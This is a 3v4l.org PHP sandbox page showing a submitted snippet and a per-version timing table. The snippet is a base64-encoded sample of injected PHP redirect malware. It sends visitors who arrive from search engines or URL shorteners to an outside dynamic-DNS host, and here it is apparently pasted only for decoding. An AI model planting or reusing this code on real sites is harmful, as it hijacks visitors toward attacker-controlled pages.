3v4l.org

run code in 300+ PHP versions simultaneously
<?php base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a2RqZmdrYS5kZG5zLm1lLnVrLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ==")

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.190.0150.04912.34
5.4.180.0380.08612.34
5.4.170.0190.04412.36
5.4.160.0130.04612.35
5.4.150.0140.04712.34
5.4.140.0150.04512.03
5.4.130.0260.03412.01
5.4.120.0210.03911.98
5.4.110.0260.09411.97
5.4.100.0150.04511.97
5.4.90.0110.04811.97
5.4.80.0140.04511.97
5.4.70.0150.04211.97
5.4.60.0130.04711.97
5.4.50.0210.04911.97
5.4.40.0150.05711.96
5.4.30.0310.06011.95
5.4.20.0200.04011.95
5.4.10.0160.04511.95
5.4.00.0140.04411.45
5.3.270.0150.04812.72
5.3.260.0270.06912.72
5.3.250.0230.04212.72
5.3.240.0250.04112.72
5.3.230.0140.05212.71
5.3.220.0180.04612.68
5.3.210.0170.05012.68
5.3.200.0470.08812.68
5.3.190.0250.04612.68
5.3.180.0230.04612.67
5.3.170.0230.04312.67
5.3.160.0200.04112.67
5.3.150.0190.04512.68
5.3.140.0300.09812.66
5.3.130.0210.04312.66
5.3.120.0280.09912.66
5.3.110.0190.04812.66
5.3.100.0310.09312.12
5.3.90.0390.08712.08
5.3.80.0170.04612.08
5.3.70.0190.04912.07
5.3.60.0170.04912.06
5.3.50.0310.09012.00
5.3.40.0200.04212.00
5.3.30.0190.04011.96
5.3.20.0210.03811.73
5.3.10.0200.04611.70
5.3.00.0170.04211.68

preferences:
142.58 ms | 1394 KiB | 7 Q